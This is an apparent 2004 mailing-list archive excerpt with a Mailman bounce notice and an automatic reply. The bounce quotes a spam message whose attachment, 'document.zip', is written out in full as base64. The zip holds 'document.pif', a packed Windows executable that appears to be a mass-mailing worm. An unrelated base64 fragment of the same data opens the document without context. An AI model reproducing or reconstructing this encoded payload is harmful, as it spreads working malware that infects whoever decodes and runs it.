sxp85VHAMqcfmhiZHaQuu0vedA2pSP/////qjzfikEH1rGYj46ZsNQHQondPKgjpzbSei3tuZF1Z WP////9aX2dygJGlvNbzEzZchbHgEkd/uvg5fcQOW6v+VK0JPf////+ad6cCcOFVzAbDQ8Zc1WFh ZGpzf4ygtc3oBidLcpzJ+f////8sYptXFlh9sGAm/iN61DGR5FrDL84Qhf109nf7gAyZKf////+8 UuuHJshtFcBuH5OKROGU1BIh366AVS0Y5ser8nxpWf////9OQjs3ODg9RVBeb4OatNHxFDpjz77w 5Wy25CNb97xhqP/////QO4nuczxj+JngxUuRF6Eh3iKzPz9USFF7b37Wz9lulf/f/v8pAyPplAm/ 5vOlQRCmfDJpa4AhCy3HTtIQgmz5/////3Ond94UhwcH+1KqAWHALJv3Jpbdl50iYA9Gns39LEB/ /////5Oy0vEJIFh2aGNdUFJRU2pkdwEsxe9UMLxXETzOnVdu/////yDjrWDa0VIVzmZft0HAFORl k594/nINvOdqlXt7E3Z2/////30cDS3y9vSw8dHnefrdTGWj/ydsjN0L24wbqb11hztP/////9sU gkIUCUXMgg/6Yrcpc/sVg+cek360JGkp/70oy+pO///t/3cOOrC/91TU7HOYAU0GnfKir8Ji8+Ve N98FcVL/////B/gbQH5UPqepTywCfTDI5wbSVCoaa0wBnQT2avodxwb/hf//+B2QBKuWAAYGECvv mdRO/xd4C5PG+HUhjKT/////X//Mcmvrb/6l/ezQQcl4kdnErCbH6OCptxpdb+wpEKP/////vPPt 9W9RITWN1lMcSCkY47dcP524zdBSVeO1Q+q+Z+P/////oKAy4s5JOiQvMAqProThdUChYpiy9TBK 4OP/kYHBJwf/////d4hnj1SzhQji/oJFq2GOdNq7Kjiu8ErUGJwXikjCtbz/////nvsfVuZukOA7 R7OgGrfSqrzE95NIpgHABP8GEotdqdj/////vZQx+B/oWmM+39YKykLVDF5gSXL19K70Uxf8FhXy jpr/////c3A8grHijjdbUxaiJ5RUWKyxNTc+qnVllSFu6xqEgWr/////5goYPzqVn4GC43OkRz0J AtYuiMKn1T+KXOqfVjtfPUr/0v//w3lfQwm48Kuazh6yhdlLwdQ7Xs/f9kf5Svf/////2PsttIpn Yv9YrRGMIvdby1jfhfys4GXa65eU4mAI7z//////POPsfxCOYH7dTZvknQUbl3rbzLP7N48l8Tkd snwa9R3/////H72f6cbq6es+2ZZw/TvaRSX286Tn1gQhTDn+W6SHiZL///8LndOwW40qNkIbytHk NFCswxzF4WaKbFszUUL/////7T4jq2LX7pT0NLLp1UmsXiauvG15Z5VbN4akgj2uh8P/////h7CA tt9D37uLgGUvHqgyy7UqkzdDeeJiNFq67WlcbCL/////rBjVc+HryIYvWklP8UPzN8tvNhg9Zy2h 8ZhCErgNwcr/t///awpr+AWNjQeel+iIULayuNnzMoFf2n5f99AdDf////9KGwM6fQ8/C08Y8Svh iLU3JPfUBx83b81rkF1Clpefov////+fnS8mVkCG9xustVq8JzskpJ2J08ilTzb6aAC+Pl0Z1v/b ///1yRTJ8OSOLDaJC+CG69ELCjPTszaGkuS9ijCg/////8e5XrzQ3qvByErXgr9d5aCek5Al2EAv MaAJprMwAaHY/////1+tkWi8GHI59SyhY2GLHhpBJjcbR6rZ8LvF5jHgTCxpN/7//+j6EcZw90P7 R6LaoNX3KMW/tZVw0QT18E1pG/z///+WPZMGpSy6OXgM250CI8OZVZaEW4dCPP////8zNIA19h3z JKZexu842tyqh9/Yci8/xOT2ljaPRDVH9f////9B1ZEmaWfKE9osMm0JKRFzWkFWCzo98FIdrC+m GvC3+v//S/8xFCaXkg+0pCy+XtAMz8+3AGvTepFUOIiSsf83aP/lCufglSWayM7WggOlznvxtPMd Nv//X/iwDNF/kY8l/lKKNnVr79vB2SPGDz51FaTA/f////+8usM8CFrnc4Zu1bBXcDoPfqTcUNVC Pw+Orz+r4EBz4////xvCXH+JFLL57QMYIv4LjyqUlR1NYfomb2ETg7/w///+HcIMPfvmfz8oNJ4r ryLNKaLrZ1y4aEl+Zkt/g//AqqrTKst1aKAop0jf26caPSX/////JAXX5ezg7eL4+Q5nl1aRu/Rc zdffkbq3P7maXYisXTn/Fv//7HFrl+wrwC4IaMWdWRsJC+8ZtlNZlVkP/////xJ2+ZvUka9OsEFI oO6HKKZnnw7HP0/ItgLFmVy1ZHMOv8T//5sAtkFUFOsJg+rFAPmOZV5oYRT24+FSk//C///ayF+b d8aiicrS5Nsi8R+PHMmu1UB4uEzcfP/////xybNugGqghSuEueCrzedxf7ebMVq1kdIINHBOjCaj ab/0/281CJtdm8iLW/1AltxAWMwQ6vywi8Vt/////4uy3x33dBHcJqkQIEp+MkG+5WFL6XJ/J7wG Q5NS+RMb//////ZdvkCcwg+ZAMaLrPWG1+CCnneL+tTmThDCGEs+KO35/8b/9nwKf0fDana5mf5d rmxazU4b64lxjvwb/f//8fYGfHlcE7FPIfVU9StifaRjcLWqYkqR/////zXGmGaAIliPVSx42EGx OixyEHDb76xlknnkH/XxSn1o//+//Wvw5sJ0bQP+EFA9xUDam6IJCIh9AfkyxqUHdBn/////LPPO qCDW3o21pn5v5ZRWR0HYzO7rn/ZPCuEm7jpZtFr/////A0Vx958IgzWgklai/xJuWoBP/S72aCuh 96M6/DM8vUf///8WPkjYhlXfK8JsC4QfhtgXzwXp1P3r5dr1/////6GtvGNOPgPzhoQeHufSnntD ob47sZ806opZ21ljrzKs/3/j/1DFvinF5QTqX/4BPH3KdvPBS4t/PBtYC2SB/5f+/8w1RHDd8BAy R0mEutjUgKwB6AhrORF9Ee/j///G//c9sLQYRzExn4ymjeuIUrTjzzumFxLKZw+t/2+U/ndHtM0e OLziaEGYAQkDDwG4EbS9hf7//zkNdWAhG+1hFLuIsmZVlM2CVc+hbhmvUhv9//+3UqQqEEuw7ymQ L+9iUClpr3Sllm2nVQ/w///b0n3oNpkW4GynDLxGV4Ll6zaklnyg6WKP////byE5MihDfqvDqY4h wPkiQyNacvwkT0Io+lmAzsT/////dCHLnu5VmBRP7E/RIqUosQW5OpgTen9RyWh5nY6xwuz///// FiReg1Ym81BMp3g0ddUFdbUOTr0Jd/kx4R9g+3TWVdH/////SN1p6XAcmq1b8PmGRsutRvGzOmGt oGbK87Gv+baUBc1vVeD/pox+TlOvMLlm+OEUL0BEeP////9+irbmr6hOXN7WLaqsra8rhcpvFdgr I1E77N3Jz0pCk/1f+v/urKov8G8heozvUEUhBXM9IwYIKeW6qVD/7Uu8udJjbkvuzSiqoZI4e04D CfN7//////+hvza0NblAyhflhRCpReSGK9N+LF3tbAq+cMeO0J1sf6P/1l6ter775O7ZmOj1VTgL HfaTnl+owf+Mp0ce+ojo0yNUeSL1qoUO///f4GuNEoea8Eh+cWFALR3igeCz85/euZueiPr/f/v0 ixiM9aiKGmCTCmTmOxeYCR4/+bSyunEzv3ShFzk203Fjl3261FAwQgWL////WxJMa6++29sAezIZ dcDEfEu6tFPnFkOjCMD///9/kQ04yH/xjDInkxt2BiLGCKEwWiDue/Yfxa+SDmHX//8C/3I/dQ88 BUJ9h3wA0mIxu9BqgbtW7uxhWf//v/VMhMS0wgFLWDLakxz4x/NjuJ1//0wbr1Vzpv//f4ncUdf+ /2Orj74dy03e+eXTt/Yc7D6f+rH7////MWV6QjpbtieNAFDL4Az97RCV5mf2hf70jVmj/cYJ//8t fiXKegh7ScbstbGxQec8DdAWa3B+S2v/////Gz7aTjCq6wubqejSE9G0RAbrvDaI0Cm6pV5R/SSe Elv/f+v/aqOkujp/xiAPh8lQTF78ZM55f621enkoKbn/////NUmq6sgMwy1KYk8030Y2eFuR0b5G UDGG1Y7VSlO59Sf/////RqoaLZVKC/yb5iOiazcG2K2FYD4fA+rUwbGkmpOPjpD From tommie@mailhub5.vianetworks.nl Tue Jan 27 12:59:42 2004 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1AlaJ1-0005K2-ET for clisp-list@lists.sourceforge.net; Tue, 27 Jan 2004 12:59:31 -0800 Received: from eomer.vianetworks.nl ([212.61.15.10]) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.30) id 1AlaJ0-0004Qc-Kz for clisp-list@lists.sourceforge.net; Tue, 27 Jan 2004 12:59:30 -0800 Received: from mailhub5.vianetworks.nl (mailhub5.vianetworks.nl [212.61.15.40]) by eomer.vianetworks.nl (Postfix) with ESMTP id 336D2230E9 for ; Tue, 27 Jan 2004 21:59:27 +0100 (CET) Received: by mailhub5.vianetworks.nl (Postfix, from userid 6288) id 6CC3619D45D; Tue, 27 Jan 2004 22:02:21 +0100 (CET) To: clisp-list@lists.sourceforge.net References: <20040127210213.9EF9D19D537@mailhub5.vianetworks.nl> In-Reply-To: <20040127210213.9EF9D19D537@mailhub5.vianetworks.nl> X-Loop: tommie@iae.nl Precedence: junk From: tommie@iae.nl Message-Id: <20040127210221.6CC3619D45D@mailhub5.vianetworks.nl> X-Spam-Score: 0.3 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.3 NO_REAL_NAME From: does not include a real name Subject: [clisp-list] Re: ***SPAM?*** Test Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Tue Jan 27 13:10:01 2004 X-Original-Date: Tue, 27 Jan 2004 22:02:21 +0100 (CET) This account will cease to exist on: Dit account wordt opgeheven op: 1 sep 2003 Thomas. From proftp-announce-admin@lists.sourceforge.net Tue Jan 27 08:10:46 2004 Received: from sc8-sf-list2-b.sourceforge.net ([10.3.1.8] helo=sc8-sf-list2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1AlVnY-0001sF-B4 for clisp-list@lists.sourceforge.net; Tue, 27 Jan 2004 08:10:44 -0800 Received: from localhost ([127.0.0.1] helo=projects.sourceforge.net) by sc8-sf-list2.sourceforge.net with esmtp (Exim 4.30) id 1AlVnX-0006a7-OD for clisp-list@lists.sourceforge.net; Tue, 27 Jan 2004 08:10:43 -0800 From: proftp-announce-request@lists.sourceforge.net To: clisp-list@lists.sourceforge.net X-Ack: no X-BeenThere: proftp-announce@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk Subject: [clisp-list] Mailman results for Proftp-announce Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Tue Jan 27 17:41:01 2004 X-Original-Date: Tue, 27 Jan 2004 08:10:43 -0800 This is an automated response. There were problems with the email commands you sent to Mailman via the administrative address . To obtain instructions on valid Mailman email commands, send email to with the word "help" in the subject line or in the body of the message. If you want to reach the human being that manages this mailing list, please send your message to . The following is a detailed description of the problems. >>>>> Subject line ignored: >>>>> hi Command? This is a multi-part message in MIME format. Command? ------=_NextPart_000_0008_DEAC862A.3D191115 Command? Content-Type: text/plain; Command? charset="Windows-1252" >>>>> >>>>> Too many errors encountered; the rest of the message is ignored: > Content-Transfer-Encoding: 7bit > > The message contains Unicode characters and has been sent as a binary attachment. > > > ------=_NextPart_000_0008_DEAC862A.3D191115 > Content-Type: application/octet-stream; > name="document.zip" > Content-Transfer-Encoding: base64 > Content-Disposition: attachment; > filename="document.zip" > > UEsDBAoAAAAAADmBOzDKJx+eAFgAAABYAAAMAAAAZG9jdW1lbnQucGlmTVqQAAMAAAAEAAAA//8A > ALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAqAAAAAAAAAAAAAAA > AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA > AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAUEUAAEwBAwAAAAAAAAAAAAAA > AADgAA8BCwEHAABQAAAAEAAAAGAAAGC+AAAAcAAAAMAAAAAASgAAEAAAAAIAAAQAAAAAAAAABAAA > AAAAAAAA0AAAABAAAAAAAAACAAAAAAAQAAAQAAAAABAAABAAAAAAAAAQAAAAAAAAAAAAAADowQAA > MAEAAADAAADoAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA > AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA > AABVUFgwAAAAAABgAAAAEAAAAAAAAAAEAAAAAAAAAAAAAAAAAACAAADgVVBYMQAAAAAAUAAAAHAA > AABQAAAABAAAAAAAAAAAAAAAAAAAQAAA4C5yc3JjAAAAABAAAADAAAAABAAAAFQAAAAAAAAAAAAA > AAAAAEAAAMAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA > AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA > AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA > AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA > AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA > AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA > AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA > AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA > AAAAMS4yNABVUFghDAkCCUh+iY/UNhyBKZYAAFNOAAAAgAAAJgEAxe6HApIAUCZKAEAD/bJpmiwQ > BPQl6AEAS85pmm7ZH8gqwAO4sKimaZqmoJiQiICapmmaeHBoYFhQzWCfaUgARAc4MDRN03QDKCQc > GBDTLLvXCCMD+Cnw6E3TNE3g2NDIvLQ0TdM0rKSclIzONk3TiHxwaClvXKbpmsEHVEwDRDiapmma > LCQcFAwEaZrObfwofwP07OSmaZqm3NTMyLyapmmatKykoJiQZ5umaYyAeHAoe2jebNN1B1wDVEwo > //sLdrb740APNCj3LC8DmqYZ+SQoShwUDARpms7sm/wnA+zo4KZpmqbY1MzIwJqmabq4J7CsqKCY > aZqmaZSMiIR8pGmapnRsZFxUaZqmG0wDREA4MKZpmqYoIBgQCJqmc5sA+CbPA+jg2Gebzm1UNEMD > QDQ024r/////nVrQ2uX0Bh8zTmxyTtgCl1+SyAE9fL5DS5bkNYngOpf/////91rAKZUEdutj3lzd > Yehy/48iuFHtjC7TeybUDTnwqmf/////J+qweUUU5ruTbkwtEfjiz7+yqKGdnJ6jq7bE1ekAGjf/ > ////V3qgyfUkVovD/jx9wQhSn+9CmPFNrA5z20a0JZkQigf/////hwqQGaWlqP7yw9Ko+BIsSmuP > tuANPXCm3xtafOEnVcn/////EmC+GGXVOJ4Xc+JUiUG8muM/xlCNbQCWT8tqDLFDerL/////cxfO > iEcFyIpXI/LEmXFMLgvv1sCtnZCGD3t6fJGJlKL/////s8fe+hU1WH6nwwI0eaHcGluP5jBtzSB2 > zyuK/FG5JJL/////A3fuaOVl6G6Xg4N2jJWhsMLX7wooSW2UvusbToS9+Tj/////er8HUqDxRWyW > U7MafOVRwDKnH5oYmR2kLrtL3nQNqUj/////6o834pBB9axmI+OmbDUB0KJ3TyoI6c20not7bmRd > WVj/////Wl9ncoCRpbzW8xM2XIWx4BJHf7r4OX3EDlur/lStCT3/////mnenAnDhVcwGw0PGXNVh > YWRqc3+MoLXN6AYnS3Kcyfn/////LGKbVxZYfbBgJv4jetQxkeRawy/OEIX9dPZ3+4AMmSn///// > vFLrhybIbRXAbh+TikThlNQSId+ugFUtGObHq/J8aVn/////TkI7Nzg4PUVQXm+DmrTR8RQ6Y8++ > 8OVstuQjW/e8Yaj/////0DuJ7nM8Y/iZ4MVLkRehId4isz8/VEhRe29+1s/ZbpX/3/7/KQMj6ZQJ > v+bzpUEQpnwyaWuAIQstx07SEIJs+f////9zp3feFIcHB/tSqgFhwCyb9yaW3ZedImAPRp7N/SxA > f/////+TstLxCSBYdmhjXVBSUVNqZHcBLMXvVDC8VxE8zp1Xbv////8g461g2tFSFc5mX7dBwBTk > ZZOfeP5yDbznapV7exN2dv////99HA0t8vb0sPHR53n63Uxlo/8nbIzdC9uMG6m9dYc7T//////b > FIJCFAlFzIIP+mK3KXP7FYPnHpN+tCRpKf+9KMvqTv//7f93Djqwv/dU1OxzmAFNBp3yoq/CYvPl > XjffBXFS/////wf4G0B+VD6nqU8sAn0wyOcG0lQqGmtMAZ0E9mr6HccG/4X///gdkASrlgAGBhAr > 75nUTv8XeAuTxvh1IYyk/////1//zHJr62/+pf3s0EHJeJHZxKwmx+jgqbcaXW/sKRCj/////7zz > 7fVvUSE1jdZTHEgpGOO3XD+duM3QUlXjtUPqvmfj/////6CgMuLOSTokLzAKj66E4XVAoWKYsvUw > SuDj/5GBwScH/////3eIZ49Us4UI4v6CRathjnTauyo4rvBK1BicF4pIwrW8/////577H1bmbpDg > O0ezoBq30qq8xPeTSKYBwAT/BhKLXanY/////72UMfgf6FpjPt/WCspC1QxeYEly9fSu9FMX/BYV > 8o6a/////3NwPIKx4o43W1MWoieUVFissTU3Pqp1ZZUhbusahIFq/////+YKGD86lZ+BguNzpEc9 > CQLWLojCp9U/ilzqn1Y7Xz1K/9L//8N5X0MJuPCrms4esoXZS8HUO17P3/ZH+Ur3/////9j7LbSK > Z2L/WK0RjCL3W8tY34X8rOBl2uuXlOJgCO8//////zzj7H8QjmB+3U2b5J0FG5d628yz+zePJfE5 > HbJ8GvUd/////x+9n+nG6unrPtmWcP072kUl9vOk59YEIUw5/lukh4mS////C53TsFuNKjZCG8rR > 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 > 